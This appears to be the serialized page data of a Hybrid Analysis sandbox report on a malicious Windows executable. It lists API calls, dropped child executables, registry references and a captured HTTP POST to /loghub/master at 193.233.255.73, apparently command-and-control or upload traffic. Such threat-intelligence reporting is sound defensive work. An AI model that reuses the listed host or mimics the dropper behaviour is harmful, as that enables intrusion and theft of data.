26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 77:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T463,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Malware Sample f81b73c904d9… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample f81b73c904d9…. Malware family: Malware. Threat score 100/100. 7/28 AV engines flagged this file. 24 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/f81b73c904d920683bf88a6d43bb7271c45ebbcb463f241f251afeb49e3f733a","keywords":["Malicious","Malware","malware analysis","sandbox report","threat intelligence","f81b73c904d920683bf88a6d43bb7271c45ebbcb463f241f251afeb49e3f733a"],"about":{"@type":"SoftwareApplication","name":"file","applicationCategory":["peexe","executable"],"identifier":"f81b73c904d920683bf88a6d43bb7271c45ebbcb463f241f251afeb49e3f733a","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Malware","antivirusDetections":{"malicious":7,"total":28},"behavioralIndicators":{"malicious":24,"suspicious":26},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T476,"file.exe" called "FindResourceA" with parameter "12259960" - (UID: 00000000-00002480) "file.exe" called "FindResourceA" with parameter "12259968" - (UID: 00000000-00002480) "file.exe" called "FindResourceA" with parameter "12259996" - (UID: 00000000-00002480) "file.exe" called "FindResourceA" with parameter "12260208" - (UID: 00000000-00002480) "file.exe" called "FindResourceA" with parameter "12260024" - (UID: 00000000-00002480) "file.exe" called "FindResourceA" with parameter "12260180" - (UID: 00000000-00002480) "file.exe" called "FindResourceA" with parameter "12260192" - (UID: 00000000-00002480) "file.exe" called "FindResourceA" with parameter "10746296" - (UID: 00000000-00002480) "file.exe" called "FindResourceA" with parameter "12260076" - (UID: 00000000-00002480) "file.exe" called "FindResourceA" with parameter "12260172" - (UID: 00000000-00002480) "file.exe" called "FindResourceA" with parameter "10746292" - (UID: 00000000-00002480) "file.exe" called "FindResourceA" with parameter "12260040" - (UID: 00000000-00002480) "file.exe" called "FindResourceA" with parameter "12260048" - (UID: 00000000-00002480)28:Ta6d,"file.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12306560'}" (UID: 00000000-00002480) "file.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12306416'}" (UID: 00000000-00002480) "file.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12306576'}" (UID: 00000000-00002480) "file.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12306464'}" (UID: 00000000-00002480) "file.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12306432'}" (UID: 00000000-00002480) "file.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12306480'}" (UID: 00000000-00002480) "file.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12306528'}" (UID: 00000000-00002480) "file.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12306400'}" (UID: 00000000-00002480) "file.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12306512'}" (UID: 00000000-00002480) "file.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '12306544'}" (UID: 00000000-00002480) "ZM6QY65.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '2738304'}" (UID: 00000000-00003448) "ZM6QY65.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '2738160'}" (UID: 00000000-00003448) "ZM6QY65.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '2738320'}" (UID: 00000000-00003448) "ZM6QY65.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '2738208'}" (UID: 00000000-00003448) "ZM6QY65.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '2738176'}" (UID: 00000000-00003448) "ZM6QY65.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '2738224'}" (UID: 00000000-00003448) "ZM6QY65.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '2738272'}" (UID: 00000000-00003448) "ZM6QY65.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '2738144'}" (UID: 00000000-00003448) "ZM6QY65.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '2738256'}" (UID: 00000000-00003448) "ZM6QY65.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '2738288'}" (UID: 00000000-00003448) "Wt6LG75.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '3197056'}" (UID: 00000000-00002608) "Wt6LG75.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '3196912'}" (UID: 00000000-00002608) "Wt6LG75.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '3197072'}" (UID: 00000000-00002608)29:T87e,"file.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00002480) "ZM6QY65.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00003448) "ZM6QY65.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00003448) "Wt6LG75.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00002608) "Wt6LG75.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00002608) "Wt6LG75.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP002.TMP (UID: 00000000-00002608) "Yf6UX21.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00000840) "Yf6UX21.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00000840) "Yf6UX21.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP002.TMP (UID: 00000000-00000840) "Yf6UX21.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP003.TMP (UID: 00000000-00000840) "NS0zj81.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00007408) "NS0zj81.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00007408) "NS0zj81.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP002.TMP (UID: 00000000-00007408) "NS0zj81.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP003.TMP (UID: 00000000-00007408) "NS0zj81.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP004.TMP (UID: 00000000-00007408) "NH5Ot82.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00002592) "NH5Ot82.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00002592) "NH5Ot82.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP002.TMP (UID: 00000000-00002592) "NH5Ot82.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP003.TMP (UID: 00000000-00002592) "NH5Ot82.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP004.TMP (UID: 00000000-00002592) "NH5Ot82.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP005.TMP (UID: 00000000-00002592) "NH5Ot82.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP005.TMP\ (UID: 00000000-00002592)2a:T472,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "file") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "file") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "file") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "6Hy6xt9.exe.782150845") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp")2b:T89e,Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; File: "file") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp")2c:T12be,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007408-11768-43-00161AE8 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007408-11768-43-00161AE8 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007408-11768-16-001644B9 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007408-11768-16-001644B9 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007408-11768-52-00164EFD Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007408-11768-52-00164EFD Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00007408-11768-31-00162390 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00007408-11768-31-00162390 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007408-11768-41-00166495 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007408-11768-41-00166495 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007408-11768-29-001652B6 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007408-11768-29-001652B6 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007408-11768-57-00166298 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007408-11768-57-00166298 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007408-11768-77-00162773 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007408-11768-77-00162773 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007408-11768-65-001653A1 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007408-11768-65-001653A1 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007408-11768-74-001636EE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007408-11768-74-001636EE Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007408-11768-37-00163FEF Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007408-11768-37-00163FEF Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007408-11768-60-0016597D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007408-11768-60-0016597D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007408-11768-71-00162CAA Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007408-11768-71-00162CAA Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007408-11768-22-0016681F Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007408-11768-22-0016681F Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007408-11768-40-00162267 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007408-11768-40-00162267 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007408-11768-26-001624E0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007408-11768-26-001624E0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007408-11768-78-00165C9E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007408-11768-78-00165C9E Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007408-11768-66-00162630 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007408-11768-66-00162630 Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00007408-11768-36-00163BA2 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00007408-11768-36-00163BA2 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007408-11768-44-00162AAC Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007408-11768-44-00162AAC Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007408-11768-15-00161F90 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007408-11768-15-00161F90 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007408-11768-33-00162F1D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007408-11768-33-00162F1D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007408-11768-62-001655A0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007408-11768-62-001655A0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007408-11768-59-0016621E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007408-11768-59-0016621E Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007408-11768-73-001617EE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007408-11768-73-001617EE2d:Tabe,Contains base64 string in header "POST" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=nKvyyq1v8i9fGDXU9904Content-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=nKvyyq1v8i9fGDXU9904Content-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=nKvyyq1v8i9fGDXU9904Content-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=nKvyyq1v8i9fGDXU9904Content-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=nKvyyq1v8i9fGDXU9904Content-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=nKvyyq1v8i9fGDXU9904Content-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=nKvyyq1v8i9fGDXU9904Content-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "73Connection" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=nKvyyq1v8i9fGDXU9904Content-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=nKvyyq1v8i9fGDXU9904Content-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache"2e:T24f5,"file.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002480) "file.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002480) "ZM6QY65.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003448) "ZM6QY65.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003448) "Wt6LG75.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002608) "Wt6LG75.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002608) "Yf6UX21.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000840) "Yf6UX21.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000840) "NS0zj81.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007408) "NS0zj81.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007408) "NH5Ot82.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002592) "NH5Ot82.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002592) "1oh97OL0.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006488) "1oh97OL0.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006488) "AppLaunch.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004328)2f:Ta3e,"file.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007b947218abdf020000000068f8a300b444947218abdf02c0f8a3006525947218abdf020100000008b64bb5000000006663431c000000000300000074f9a3000a00000040040000b8f9a300f0f8a3005b0000000300000078f8a30080f8a3008cfba300e0569472885e7ec7feffffffccf9a30047f292726663431c00000000 (UID: 00000000-00002480) "ZM6QY65.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000fca3005c7b9472a8aea9020000000020fca300b4449472a8aea90278fca30065259472a8aea902010000006d66567f00000000a04e2d1800000000030000002cfda3000a0000009007000070fda300a8fca3005b0000000300000030fca30038fca30040ffa300e0569472558a630dfeffffff80fda30047f29272a04e2d18 (UID: 00000000-00003448) "Wt6LG75.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000fa74005c7b947288aeaa020000000048fa7400b444947288aeaa02a0fa74006525947288aeaa02010000003bc9d12b00000000a0ae8d19000000000300000054fb74000a000000b402000098fb7400d0fa7400590000000300000058fa740060fa740068fd7400e0569472db233359feffffffa8fb740047f29272a0ae8d19 (UID: 00000000-00002608) "Yf6UX21.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000f83d005c7b9472e8ae9a0200000000f8f83d00b4449472e8ae9a0250f93d0065259472e8ae9a0201000000395eca7c00000000f6557017000000000300000004fa3d000a0000001814000048fa3d0080f93d005b0000000300000008f93d0010f93d0018fc3d00e056947229b7610efeffffff58fa3d0047f29272f6557017 (UID: 00000000-00000840) "NS0zj81.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007b947248bae4020000000098f4c300b444947248bae402f0f4c3006525947248bae402010000006012c86600000000c47699160000000003000000a4f5c3000a000000fc1c0000e8f5c30020f5c3005b00000003000000a8f4c300b0f4c300bcf7c300e0569472d0f69d14fefffffffcf5c30047f29272c476991600000000 (UID: 00000000-00007408) "NH5Ot82.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007b947280b90e0100000000c8fbdb00b444947280b90e0120fcdb006525947280b90e0101000000c3e8222d000000007056b4180000000003000000d4fcdb000a0000009c15000018fddb0050fcdb005d00000003000000d8fbdb00e0fbdb00ecfedb00e0569472a3046f5ffeffffff2cfddb0047f292727056b41800000000 (UID: 00000000-00002592) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000003000000802500000200000000000000010000000c00000000000000000000000000000001000000010000000000000000000000720061006d00650000000000000000000000000000000000010000002f000000000000000000000063006f006e006600690067005c006d006100630000000000000065000000000000000000000000000000000000000000 (UID: 00000000-00004328)30:T7a7,"file.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "file.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "ZM6QY65.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "ZM6QY65.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "Wt6LG75.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "Wt6LG75.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "Yf6UX21.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "Yf6UX21.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "NS0zj81.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "NS0zj81.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "NH5Ot82.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "NH5Ot82.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "1oh97OL0.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "1oh97OL0.exe" 